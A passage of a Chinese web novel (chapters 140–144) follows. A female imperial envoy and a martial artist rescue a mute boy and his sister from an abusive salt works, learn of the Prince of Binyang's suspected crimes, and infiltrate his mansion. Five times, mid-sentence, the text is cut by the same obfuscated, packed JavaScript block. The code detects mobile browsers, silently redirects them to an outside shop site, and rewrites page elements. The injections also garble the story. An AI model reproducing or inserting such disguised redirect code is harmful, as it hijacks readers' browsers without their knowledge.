崔逐风会简单的医理,伸手点了这孩子身上几个穴道,很快他就好了许多。只是这孩子不能说话,用那双黑乎乎的眼睛滴溜溜的转着,似乎在给自己寻找一条生路,见他这样,九阙有些担忧,蹲在他面前小心翼翼的开口。 “我知道你不会说话,不过你应该能听懂我说的话。如果有什么冤屈,还希望你能配合我。” “……” “你是从这个盐场逃出来的吗?” 那孩子点了点头。 “那个盐场对盐工们不好?你也是里面的盐工?” 点头。 “你是被迫当盐工的?” 点头。 “你想不想把那些强迫你的人绳之以法?” 狠狠点头。 点头的同时,这孩子眼中爆出两团精光,就好像饿了半个月的狼终于看见肉食一般。这孩子骨子里透着股狼性。 不仅如此,他还站起来用手指了指北边儿的方向。 “你知道有条能悄悄进去的路?” “嗯嗯!” 那孩子嗓子里发出古怪的声音,但里面的急迫感却连崔逐风这个外人都能看出来。她整个人都快看傻了。其实崔逐风很想问问九阙是怎么领会这孩子的意思,并且能和他交流自如的。 不过这种时候她还是不要说话的好。 九阙想了想,问出最后一个问题。 “你还有亲人在那盐场里?” 如果这孩子只剩下自己一个人,他现在最大的愿望可能是逃出去,找个安全的地方悄悄待着,但看他这么急切想要回去的模样,似乎是还有亲人留在盐场里。而且以这孩子的身体素质,到底是怎么逃出来的?莫不是他那为数不多的亲人在后面帮忙? 可他已经逃出来这么长时间,莫不是已经被发现?若当真如此,他那那留在盐场里的亲人势必要有麻烦了。 果不其然,崔逐风听到了异样的动静,转头看了看山坡下方的盐场,露出了不高兴的表情。 “九阙,下面传来了血腥味儿。好像有人受伤了。” “我们先进去看看。” 九阙一边说一边给身后的魏渊等人留下了个记号。紧接着,她就再次享受到了那种腾云驾雾的感觉。扭过脸儿看看旁边同样被提在手里的小男孩儿。那孩子似乎吓傻了,这会儿整个人在不停的哆嗦,九阙伸手拍了拍他的肩膀,这孩子终于鼓足勇气睁开眼,看见下方飞速后退的地面,狠狠打了个冷颤。 老天爷啊,他这是飞起来了,莫非他当真遇到了传说中心软的神仙? 不过一眨眼之间,三人就来到小男孩儿逃出来的方向,并且在崔逐风的身法帮助下很顺利的潜入进去。 只是他们还没赶到,就听见前方传来越来越大的喧闹声以及呵斥哀嚎声。听到这声音,原本还十分安静的小男孩顿时绷不住了,拼命朝着那边儿伸手,要不是九阙眼疾手快拉住他的衣裳,这孩子只怕就要冲出去了,只是看他的模样九阙不用问都知道,里边儿那正在被惩罚的估计就是这孩子剩下的亲人了。 此刻他们距离喧闹的人群不过几百步之遥,里面到底在吵嚷些什么他们都能听得见。 “打死他!打死这个胆大包天的女人!竟然敢偷偷帮着别人离开,不知道你们一旦进了这盐场,一辈子就是盐场的奴隶吗?哎呦,还敢瞪我,真是活的不耐烦了,给我打!抽死不论!” “严管事,这个女人性子太烈了,要不是这张脸长得还能看,我早就把她给打死了,现在你就放心交给我,我绝对调教的服服帖帖!就是可惜她那弟弟的跑了,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501292|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我说她那弟弟长得还算不错,年纪也小,正生嫩着。听说以前还是个童生,有功名在身呢!” “你不说我还不生气,你越说我越生气。该死的东西,到了盐场还想着能站着说话,还想跑。真以为我管不了了是吧?” 中间还夹杂着虚弱的痛苦呻吟哀嚎声。 九阙只是听着这些话都觉得自己手心痒痒的,更何况作为当事人之一的小孩儿,旁边这孩子已经泪流满面,其实在逃出去的那一刻他就已经预料到留下来的姐姐会是什么下场,但是他身上肩负着重要的使命,他们一家不能枉死!所以在跑出去的时候他一直谨记姐姐的教诲绝不回头,可此刻因为意外重新回到盐场的他忍不住想要朝那边跑去,这可是他在世上剩下唯一的亲人了。如果连自己的姐姐都失去,从此以后他就真的孑然一身,孤苦伶仃…… 连忙拉住一时冲动想要冲上去的孩子,九阙捂住他的耳朵。 “你这孩子怎么这么冲动?放心,我们一定会救你姐姐,但是你,你这个小身板儿就别上去凑热闹了,在这儿乖乖待着。” 说完九阙就捋起袖子想往那边儿赶,只是下一刻就被人捏住 了命运的后脖颈。回头一看发现竟然是崔前辈,顿时手舞足蹈的抗拒。 “前辈,我跟这孩子可不一样,我的力气可大着呢,我可不是柔弱的小女孩。这混账东西说话那么难听,看我不上去一巴掌拍死他丫的!” “他丫的?” 崔逐风觉得九阙不愧是天下第一聪明人,连骂人都骂的这么有新意,虽然她不知道这是什么意思,但这绝对是句骂人的话,很好。 “你也只是个孩子,乖乖在这儿待着,我去救人。不过你确定现在就要去救人,会不会打草惊蛇?” 九阙想了想,一脸谄媚的请求。 “前辈,那个,呃,你能不能别让别人发现有人去救那姑娘?但是也能把她救下来?” 说完之后九阙自己都觉得脸红,看她这是什么非人的要求啊…… 第一百四十章 冤情 但出乎意料的是,崔前辈竟然点了点头,一点都不觉得这个要求有多么为难。 只见她从地下随手捡起来两个石子对准喧闹声传来的方向随意一扔,真的只是随意丢了过去,因为九阙根本没看到她瞄准的姿势,紧接着就听到那边“啊呀”两声痛呼。 原本正当着众多盐工的面准备狠狠教训那个不听话女人的严管事摸着自己剧痛的脑袋,抬头看了看。 “谁呀?谁竟敢打……” 话就说到这里,整个人咕咚一声躺下了。跟他一起躺下的,还有就在他旁边的狗腿子。 不仅当事人不知道自己是怎么被打晕的,周围的人也不知道。众人惊恐的冲过去想要把严管事扶起来,可下一刻就发现,这两人已经晕了过去,可问题就在于他们根本没看到有人攻击这两个呀,难道是他们做的太过分被上天惩罚了?不得不说这年代的很多人都是很迷信的,一想到有这个可能脸上的惊恐怎么都抑制不住。 恐惧这种东西是会传染的,意识到可能发生了什么自己无法掌控的事情,严管事的那些狗腿子们也不敢当众对那可怜的女子施以酷刑,连忙让她走。 那些原本被叫起来围观的盐工们见状连忙把躺在地上被狠狠抽了几下的女孩子扶起来,扶到角落里想要替她疗伤。但是彼此对视一眼,他们身上哪里有什么伤药,只能从地上捡起一把灰尘撒到她露在外面的伤口上。 那女孩艰难的坐起来,虽然身上的伤很疼,但是只要弟弟能逃出去也算值了,毕竟他们一家只剩下他们姐弟二人,弟弟身上有童生的功名,若是逃出去,跟别人讲这件事,也会增添几分可信度。 只是越是这样想,这孩子越是觉得自己好像出现了幻觉。她怎么看见前边不容易让人注意的角落里竟然有个人?那是个衣服看起来就很昂贵,明显不像个普通人的女子。只是那个女子这会儿正冲着自己挥手弯腰,看起来行为古怪。 姐姐揉了揉眼睛,发现那个行为古怪的女子依旧存在,而且周围人因为注意力都在那两个被抬走的管事身上,反而没注意到角落。 这可真够奇怪的。 但更令人震惊的是,紧接着当姐姐的就看到原本已经逃走的弟弟也探出头来,泪眼婆娑的看着自己。她顿时就急了,这孩子不是已经逃出去了?为什么还会出现?说要是被管事的抓到,等着弟弟非死即残,弟弟的舌头已经被割掉,这辈子依然科举无望,她只希望对方能够好好的活着,难道连这个小小的愿望都无法被满足吗? 原本以为自己弟弟逃走所以松懈的女孩子心中顿时燃起熊熊烈火,不行,她弟弟还没成功逃出去,她绝对不能死! 重新燃起生机与希望的女孩儿冲着那个方向摆了摆手,然后趁着众人不注意,悄悄往角落里挪过去。这也是巧了,对面有个乱七八糟的棚子,里面原本养的有牲畜,但后来都死光了,所以这是个废弃的旧房子。在棚子的遮掩下,女孩儿终于和自己的弟弟接上了头,当然这是九阙想的。 事实上那个女孩子简直要气死了,她一把拽住自己弟弟的脖子,动作依稀带着那么一点儿熟悉,恶狠狠的开口。 “我不是让你走了吗?你怎么又回来了?我亲眼看着你跑出去,这些人又没有放狗去追,你为什么回来?” 如果这孩子敢说是因为担心他才回来的,她绝对要气死。 还好九阙截过了话头,她看一眼放哨的崔逐风,放心开口。 “你叫什么名字?我刚刚进来的时候遇见你弟弟。他的状态不是很好,绝对跑不出去二里地,如果像你所说这里的人养的有狗,你弟弟绝对会被抓住。到时候还不知道会受什么伤。” 见这个当姐姐的情绪略微平缓些,九阙接着询问。 “我想问问这个盐场到底有什么问题?你弟弟这么小的年纪能犯什么弥天大错,竟然要被割掉舌头?” 听到这话,当姐姐的很是悲痛,但她依旧十分警惕。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501293|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别以为你说两句好话我就会相信你,同样的把戏玩一次还不够吗?还想骗我们多少次?!这次被抓到我们认栽,你要是想去告状现在就去!不必说这些有的没的,我们是不会上当的。” 嘶,看这样子,这对姐弟好像之前遭遇过欺骗呀。 九阙上下左右看了看,觉得自己长得并没有那么可怕。而且她说的都是真的,对方这么不相信自己,估计是有心理阴影了。 仔细想了想,九阙只能表示。 “怎么说呢?实话告诉你,我们是陛下派来的钦差,只不过并不是专门来查盐城,之前我们从黔州回来,路经盐城,发现盐城百姓竟然吃不起盐,感觉奇怪,这才想着要来一探究竟,如果你不相信我,我可以……” “你们就是黔州的钦差?” 没想到九阙的话还没说完,这个原本十分警惕的女孩子突然一脸惊讶的抓住她的手!脸上迸发出渴盼的表情,还上下左右好好打量了一圈儿九阙,口中喃喃自语。 “听说那是个女钦差,身材瘦长。你姓什么?” “啊?我,我姓应……” “你认不认识一个在朱砂矿场上做饭的女子,她好不容易在那位钦差的帮助下报了仇 ,把那个狼心狗肺的东西弄死……” “你说的是王馍和杨辉?杨辉已经被处斩,王馍留在府衙后厨了。你认识她?” “果然是您!应大人!民女有冤情,还请您帮忙啊!” 这么说着,那女孩子直接跪了下来,不停的在地上磕头,磕的九阙一阵心颤,连忙上前半步把她扶起来。 “你别这样,无需行此大礼,你有什么冤情请可以告诉我,我们这次本来就是来查盐场,如果你能把自己知道的事情告诉我,会对我们有很大帮助。” 那女孩子被一股巨力扶起,还有些茫然,但下一刻就使劲擦干自己的眼泪,眼神坚定。 “民女必定知无不言,言无不尽。” 第一百四十一章 剧情片段 眼看着这盐场因为刚刚的混乱成了一锅粥,没人注意这个小小的角落,那女子或许是憋了许久,这会儿不吐不快。 “民女叫胡锦穗,这是我弟弟胡锦程,家父胡元,本是盐城总管盐事的官员。大人应该知道,整个大景的食盐,八成都出自盐城,因为盛产食盐的缘故,其实我们这里的百姓日子快的还算不错。我父亲虽然只是个举人,但因为新朝建立之前就在乡间颇有贤名,因此朝廷认命他为八品推盐官,这些年来,不说政绩斐然,也是兢兢业业,不敢有一丝懈怠。” “民女一家也算幸福和乐。五年前,滨阳王就藩,我父亲还曾经感慨,这位滨阳王跟随陛下南征北战,是位极难得的将才,有他坐镇盐城,日后必定会越来越好。可事实却并不像父亲所言,滨阳王刚来盐城之际,不太爱管政务,一应官员任命都不曾改变。可从三年前开始,滨阳王突然一改常态,将过往所有贩盐的账册银两尽数收拢,并且大肆征召盐工。” “您知道的,我们盐城盛产食盐,因此盐工的月钱和待遇最好,很多盐城百姓都想进入盐场,所以那时候,没人觉得奇怪,民女还有很多亲朋,都为那次多招人感到庆幸。可谁曾想到,将人手召集后,滨阳王命令每个月的出产必须是往常的三倍!若是完不成任务,盐工必须卖身为奴,一日为奴,世世代代皆为奴隶!谁想自己以及厚待都成为奴隶?而且陛下早有律令,不允许买卖奴隶,那时候我父亲就觉得奇怪,只是滨阳王根本不肯见他。” “后来,为了不被卖为奴隶,那些员工只能拼命努力,日夜不休。但人力终有尽时,还有不少人最后没能完成任务,而他们竟真的被贬为奴隶。这种事,自古少有,更何况滨阳王在违背陛下的律令!那个时候遍地都是哀嚎,我父亲为了改变这种情况,孤身觐见。可惜我们在家中左等右等,竟等不到父亲归来!” “等再有消息传来的时候,我父亲已然身死。我们直至今日都不知道他到底是怎么死的。” 胡锦穗说到伤心处,眼泪控制不住的流下来。但这绝不是软弱的象征,因为这个年纪不大的女孩子能在这样非人的境地里坚持这么多年,只为了给自己的父亲求一个公道,已经是种强大的证明。 她很快就控制住自己的情绪,接着诉说。 “我们尚在迷茫之中,王府的官兵已经赶到,我们全家都被关进牢狱。我母亲自从得知父亲的死讯就心存死志,不多时就撒手人寰。祖父母年事已高,在牢狱中根本坚持不了几天,也随之而去。那些官兵知道我弟弟童生出身,如无意外,日后必定能跻身官场,为了避免被报复,竟直接剪断了他的舌头,断了他的青云路!” “可怜我弟弟那时候才十岁!如果没有这场意外,他将会是大景朝有史以来最年轻的秀才!” 勉强控制住激动的情绪,胡锦穗深吸一口气,爱怜的抚了抚弟弟的头发。 “他们或许是觉得我和弟弟已经没有威胁,所以把我们两个扔进了盐场做工。大概是觉得以我们两个的年纪,在繁重的劳作中活不了一年半载。可那些人估计也想不到,因为我父亲平时的贤德,在这里做工的盐工对我们相当照顾,以至于能苟延残喘活到今日。我本以为这辈子我和弟弟的命就这样了,就算苟延残喘,但只要能活下去,我也忍了。” “但十天前,王馍表姐的消息传进来,说是黔州那边来了个朝廷派去的钦差,是个难得的青天大老爷。虽是女子之身,但愿意为百姓做主,将那可恨的梁恒绳之以法。大概是害怕大人威名,上面那些人担心以前做的事被揭露出来。所以,对我姐弟二人,以及当初那些同样被迫害的官员家人大肆折磨,他们并不敢直接杀了我们,但可以通过各种各样的法子让我们活不下去。” “可笑他们以为我会就此自裁,可真是笑话!我听王馍表姐说,之前矿山里那些被抓走的姐妹已经被好生救治, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501294|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妥妥安置。可见朝廷没有忘记我们,他们不会对我们置之不理。在没有希望的时候,我还能苟延残喘活下来,更何况如今已经有了希望,我怎么可能会去寻死?” 说到这里,这孩子的眼睛都在发光。她紧紧的盯着九阙,就像看到了救命稻草。 “大人,您愿意帮我们吗?” 九阙此刻表情凝重,郑重其事的伸出手,握住这孩子冰冷龟裂的双手。 “当然!只要你说的属实,这盐城的事儿,我管定了!” 反正她就破命一条,不服就是干!就算陛下过后要治她的罪,那也得等她把这里的事料理干净。若这里的情况属实,滨阳王属实有谋反之嫌。 就算陛下再怎么疼爱这个义子,皇位都受威胁了,总不能置之不理。 不过她听完刚刚这孩子的讲述之后,有件事儿想不通。 “你的意思是滨阳王刚来盐城的前两年一切正常,三年前突然性情大变,强行命令盐场的产出必须翻三倍?而且贩卖私盐?” “对!” 这年头,因为食盐的意义太过重大,官府把控盐的买卖,贩卖私盐可是杀头的大罪! 胡锦穗重重点头。事实上父亲在世时也曾经说过对这件事儿的疑虑。滨阳王是陛下年纪最大的义子,向 来有侠肝义胆的美称。打仗时,他的军队也纪律严明,向来与百姓秋毫无犯。为何短短就藩两年,就发生这么大的变化? “正是因为滨阳王贩卖私盐在盐城几乎毫不遮掩,所以我父亲才感到奇怪,特意上门想要询问。可谁曾想竟是一去不复返,白白丢了一条性命……” 嗯…… 九阙此刻陷入了沉吟,因为她突然想起一件事儿。剧情里,好像还真有这么回事儿? “滨阳王景潮生!贩卖私盐,招兵买马,迫害同僚百姓!私通北蛮!罪不容诛!着,秋后问斩!” 第一百四十二章 希望 也不知怎的,离开京城之后,她对剧情的记忆越来越模糊,很多事儿这一刻还能想起来,下一刻就忘了个一干二净,好像从未发生过。 这也是突然之间脑海中闪过一段话,似乎是滨阳王的最终结局? 不过…… 她总觉得好像哪里不对。恍惚中记得老皇帝临死之前曾说过这么一句话。 “我这辈子,对得起天地苍生,对得起你们这几个不孝子。唯一对不住的,是我那可怜的潮生。我的儿啊……” 如果滨阳王当真罪无可赦,老皇帝临死之前为什么会觉得对不起他?就连老皇帝的亲生皇子犯了罪,临死之前老皇帝还不会觉得对不住。为什么要对一个已经伏诛的义子感到抱歉? 除非…… 除非滨阳王是冤枉的! 可看了看眼前这对可怜的姐弟,九阙也无法说出滨阳王是被冤枉的这种话。除非这中间出了什么问题。 突然想起了什么。 “锦穗,自从滨阳王性情大变,要求盐场大量生产食盐开始,有人见过滨阳王吗?” 胡锦穗茫然的摇了摇头。她是个极其聪慧的孩子,从九阙这句话中敏锐察觉到了什么,脸色大变。 “说起来,整整三年,滨阳王好像很少在公共场合露过面。很少的几次露面,还是陛下赐下生辰礼物,不得不出来谢恩。只是滨阳王之前在战场上杀敌,身体受了太多暗伤,身子骨不太硬朗,形容枯槁了些。当然,我们一直被关在盐场里,这些消息就算传进来,也不一定都是真的。” 要说为什么盐场这边儿能有消息传进来,主要是因为位置特殊。整个盐城几乎是围绕着盐场建立起来的。在这里生产出来的食盐一般分两条路走,一条陆路,一条水路。 古往今来这么多人,可以不吃丹药,但却不能不吃盐。因此,围绕着运送食盐这件事,生出了两条繁荣的商道。盐场这边就算管束的再严格,也避免不了有风吹草动传进来。不过一传十,十传百,等真正传到盐场里的时候,消息可能都变了样。 听到这些的九阙摸了摸下巴,总觉得里边儿好像有蹊跷。这怎么不太对劲呀? “前辈,你觉得这里边儿有问题吗?” “啊?” 崔逐风有些茫然的回头看了一眼,然后点点头。 “我见过那位病滨阳王,虽说脑子不是一顶一的好,但也不会蠢到这种地步。他曾经为了救一个村庄的百姓,和北蛮最强的黑摩罗打了一仗,因此左手少了两根手指。这样的人应该不会为了碎银几两就压榨自己治下的百姓。” “原来前辈见过滨阳王?嗯,那如果再次见到的话,前辈还能认出他吗?” “可以。” 崔逐风别的本事没有,但曾经见过一次的人还是能认出来的。不过她不明白的是九阙为什么要问这个? 得到肯定的答复,九阙点点头。 “很好,既然前辈记得滨阳王长什么样子,那等再见到他的时候,就能确认一下对方到底是不是真的滨阳王。” “大人这是在怀疑如今的滨阳王并不是真人吗?” 九阙并没有避讳这对姐弟,毕竟能在这样的折磨清洗中顺利存活。而且还能寻找时机逃出去,这不是普通人能做到的。这对姐弟的能力,九阙已经亲眼目睹,而且说不定还需要他们的帮助。 胡锦穗咬了咬唇,郑重其事的表示。 “大人,请让我帮您吧。如果有用得上的地方,请您一定要开口。我虽然不才,但父亲生前所愿就是这片盐场上的盐工能够回家。希望他们不要再过这种担惊受怕的日子,这只是一份儿活计,想干的人可以接着干,不想干的人可以回家去,这本就是人们该有的自由。不瞒大人说,家父生前十分崇敬爱戴滨阳王。若那害了他的人是真的滨阳王,我自然要为父报仇。如果不是,这罪魁祸首,总不能逍遥法外吧?” “你……” 九阙本来想拒绝,毕竟这孩子年龄太小了,而且这段时间受了这么多搓磨,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501295|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子骨比较脆弱。但当对上她那双眼睛之后,九阙叹了口气。这孩子苦苦熬了这些年,估计就剩下个为父报仇的愿望,若是连这个都要剥夺,这孩子只怕要活不下去了。 于是她点了点头。 “现在要做的就是先别打草惊蛇。既然滨阳王会将每月多产出的食盐私下售卖,总得有个管事儿的人吧。是有人过来,还是这边有管事儿的去王府?” 胡锦穗仔细想了想,然后遗憾的摇了摇头。 “滨阳王府确实每个月都会过来接收私盐,不过大人你们来的不巧,前日那管事的才来过一次,把多产出来的盐都拉走了。最快也得等到下个月这个时候才会再来一次。” “这样啊……” 看来他们得去滨阳王府一次了。不过胡锦穗…… “大人放心,我知道轻重,我会待在盐场里。免得那管事儿的狗急跳墙。但是我有个私心,您能不能把我弟弟带走?他已经逃出去,若是再回来,姓严的不会放过他。他真的会杀了这孩子的!” 九阙理所当然的点了点头。 “这是自然,只是要委屈你几日,不过你放心,我会让人暗中保护你 。至于这孩子,我会做出他已经被山中野兽攻击的假象,先把它带到安全的地方去。你放心,不管这件事儿有没有着落,我会把你们都带出去。相信我!” 胡锦穗整个人都放松下来。她如今最大的愿望就是弟弟可以离开。既然连王馍姐姐都说这位大人是个难得的好人,那么大胆相信一次又有何妨? 更何况,这位大人如此真挚的拉着她的手,眼神表情和动作里看不出一丝虚假。如果当真是做戏,这演技也太过精湛了。 “大人放心,我会等着你的,还有盐城里的大家,我会悄悄把这消息告诉他们。不瞒您说,我们等这一天已经很久了。” 这人啊,若想在黑暗里长久的生存,总得心存一丝希望。那为他们素未谋面的自京城而来的女钦差,就是这些可怜盐工心里的希望。 第一百四十三章 再次进城 就算原先坚持不下去,但是在得知那位女钦差有可能经过盐城之后,几乎所有盐工心里都萌发出了希望,有些时候,人或许要给自己一个期待,正是因为有这份期待,他们才能活下去。 这个时候,九阙已经和魏渊汇合,三言两语说清楚状况之后,魏渊命令自己两个手下留在这里保护胡锦穗,他则是跟着九阙崔逐风等人等人准备去盐城滨阳王府。 滨阳王虽说敢私底下贩卖私盐,但盐城的管束并没有黔州那般严苛,或许是因为这里四通八达,不比黔州那里到处都是连绵不断的山脉,他在明面上不敢太过放肆,要不然陛下也不会不知道盐城这边的情况。 百衣淳本来正在焦灼等待九阙等人回来,谁曾想他们回来倒是回来了,但紧接着又要去盐城,甚至还要去滨阳王府!那种龙潭虎穴的地方是能随便去的吗?说不定一进去就出不来了! 立即苦口婆心的劝说。 “妹子,你们文臣大概不知道滨阳王的实力。可我们这些武将知道啊!想当初他一人一马,震退敌军三百骑兵。那可是实打实的三百骑兵,不打一点折扣!我娘亲眼所见,他一人一马一枪,冲入敌军,不过冲杀三个来回,就将敌军骑兵冲散,抓到了那只骑兵的队长。那可是北蛮的骑兵!北蛮的好马名誉天下,据说北蛮骑兵那都是在马背上出生的,从小在马背上长大,他们骑在马上就跟我们站在平地上一样。他们的马都是从小培养,与主人情谊深厚,默契非凡。那样的骑兵几乎可以以一敌十!” “但就是这样的骑兵,被滨阳王给杀退了。我就这么说吧,能和当今陛下一起在战场上痛快厮杀,而不必担心后背受伤的,只有这位滨阳王殿下!他这样的人,你们敢去私闯他的王府?” 就算陛下不追究,滨阳王一拳都能打九阙他们这样的十个!这不是去找死吗?虽说百衣淳没有明说,但她那个表情就是这个意思,九阙也不在意。 “百衣将军,我当然知道滨阳王殿下的实力,但正因如此,我才要去一探究竟,若滨阳王当真不顾百姓,贩卖私盐,我就有正当的理由去抓住他。王子犯法,与庶民同罪。当今陛下圣烛高照,就算自己的亲生皇子违法犯罪也会加以追究,足见其大公无私。更何况如果滨阳王当真如将军所言那般勇猛为民,说不定这其中有什么误会。可若是这个误会无法解除,从此之后滨阳王岂不是要和陛下两厢生怨?” “而且百衣将军,我想三年前,盐城的盐并没有这么贵吧?难道将军甘心从此以后一直购买高价盐?而且还是这般低劣品质的盐?” 这几句话把百衣淳说的哑口无言,她当然不愿自家百姓只能吃高价盐,而且身为武将,不得不说她对滨阳王确实有几分崇拜。 若这位战功赫赫的王爷当真是将军迟暮也就算了,虽说会感到遗憾,但这也不是自己能管得了的,可如果这位王爷是被冤枉的呢? 或许每个人对自己崇拜的对象都会多几丝宽容,百衣淳就是如此。她思虑再三,最终一咬牙一跺脚,干了。 “我跟你们一起去!” “将军?” “你们一群文官都有这样的志气,我堂堂武将,总不能比不上你们吧?而且,我也觉得王爷不是这样的人。他当初愿意为了一个毫不相干的村子失去两根手指,总不至于一就藩就性情大变吧?这根本说不通!或许你们不相信,当初我们也觉得奇怪,周围几个州县的武将曾经联袂去求见王爷,谁曾想被拒绝了,我们竟是连王爷的面都没见过,且从此之后,我们那几个州县的盐价越来越高。大家还以为是王爷不满我们的僭越之举。可如果这其中有误会,就算会被责怪,我们总得做个明白鬼!” 九阙本来就没想过要拒绝,这会儿见对方的态度如此坚定,干脆直接应了下来。 “我本来就想请将军帮忙,咱们一起前去,若是遇到麻烦也能彼此照应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501296|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “行!” 说干就干!一群人雷厉风行的来到盐城外,无需多言,崔逐风率先登上城墙,她的武艺已到至臻的境地,不过借了两次力就已经飞到数丈高的城墙上。九阙几个在城墙下面望洋兴叹,这么高的城墙前辈到底是怎么轻轻松松就飞上去的?这也太厉害了吧。 转过头去看着同样看待了的魏渊,九阙小心询问。 “魏兄,你能飞上去吗?” 魏渊的脸色顿时有些难看,虽说自己武艺高强,但比起崔逐风等武林高手还是差的远。这样高的城墙,在没有借助外力的情况下根本飞不上去。但别说自己飞不上去,在场众人,除了已经上去的崔前辈之外,谁能飞的过去? 大哥不说二哥黑,剩下众人眼巴巴的瞅着,崔逐风已经将随身带上去的绳子扔了一根下来,九阙是第一个上去的,她从来没有练过武,自然没有那么强的臂力。百衣淳等人帮忙把这根绳子在她身上绕了好几圈儿,捆得结结实实的,上面的崔逐风得到信号之后随手一扬,嗖的一下,九阙整个人就已经飞了上去,跟坐过山车似的,超出城墙很高。 下边儿看的人那叫一个胆战心惊,但九阙还真觉得挺好玩儿的。当她下落,崔逐风轻轻一扯,九阙就落入了她的怀抱。动作轻柔,没有一丝 震动。 “哇!” 九阙看着对方的眼睛都在冒金光。以前只是知道崔前辈的武艺十分高强,但这几天确确实实体会到了,她突然有些可惜自己不会武艺了。 “二十年。” 崔逐风似乎很清楚九阙心里在想什么,干脆利落的吐出这个词,九阙本来跃跃欲试想要学武的心思顿时被按了下去,算了算了,要二十年,她可没这个耐心。反正前辈这么厉害,有崔前辈在,她不学也没事儿。 剩下几个人就更简单了,有崔逐风这个武林高手在,一行人十分顺利的进城。 第一百四十四章 潜入 崔逐风特意挑选的防守最松懈的地方,因此当他们这几个人落到城墙上后,一时间没有被发现,再加上崔前辈这个人形雷达在,他们一路有惊无险的找到缺口,成功混入了盐城,并且没有被守卫发现。 他们在进城之前就已经换了衣服,这会儿绝对不会有人联想到他们的真实身份。九阙身材瘦长,干脆换了男装,整体看去就是个清秀的小郎君。 其他人的装扮也各有特点,总而言之相当隐蔽。 “滨阳王府在哪个方向?” 百衣淳以前来过,自然由她带路,一行人顺顺利利的来到滨阳王府外面的那条街,然后就进不去了。不是别的,实在是这里的守卫太过森严,不像是一座正常的王府,反而像是在囚禁着什么? 本来还觉得此行不会有什么大收获的百衣淳顿时来了兴致。 “我上次来的时候还没这么大动静,所以大伙儿也没觉得有什么奇怪,可现在看来,这里的戒备太过森严,确实有些不太对劲。这里边儿一定有大阴谋,不行,我得进去看看。” “等等,你怎么进去?你都说了这里守卫森严,不要太冲动,得从长计议。” 九阙拉住冲动的百衣淳,守在外面仔细观察这群守卫换防的情况。不过她很快就放弃了,就这守卫,哪怕一只蚊子都飞不过去。想要找到其中的缺漏太难了,如果自从三年前这里就是这样的情况,那么这三年下来,他们一定对如何守卫滨阳王府有了更深刻的理解,就算有缺漏之处也早就补齐了。 所以,他们只能依靠此行最大的人间作弊器。 “前辈~” 崔逐风嘴角抽了抽,她以前怎么不觉得九阙这孩子这么会撒娇呢?实在是没办法,只好先带着她,一个闪身轻飘飘的进了滨阳王府。那些守卫虽然看守十分严格,但在面对最崔辈的时候就像聋子瞎子似的,根本注意不到。 九阙只觉得眼前一花,等再回过神来的时候,人已经站在了滨阳王府后院的假山旁边儿。这里的假山成堆,形成了一个隐蔽的空间,藏在里边儿完全不会被发现。而且这里是王府的后花园,大概是这里的主人并不喜欢出来逛园子,因此这里来往的人员极为稀少。 崔逐风虽说是第一次来到王府,但出于本能,很快就选了这么一个绝佳的藏匿之地。而九阙则是露出了‘你懂我懂’的表情。看来前辈以前没少往别人家里去,要不然怎么能在第一时间就找到这么好的藏匿位置? 虽然她没说出口,但就她那笑眯眯的模样,崔逐风一眼就看出来九阙心里在想什么,不过她也不在意,毕竟对崔逐风来说,九阙就是个小孩子。小孩子顽皮一点又有什么?很正常的。 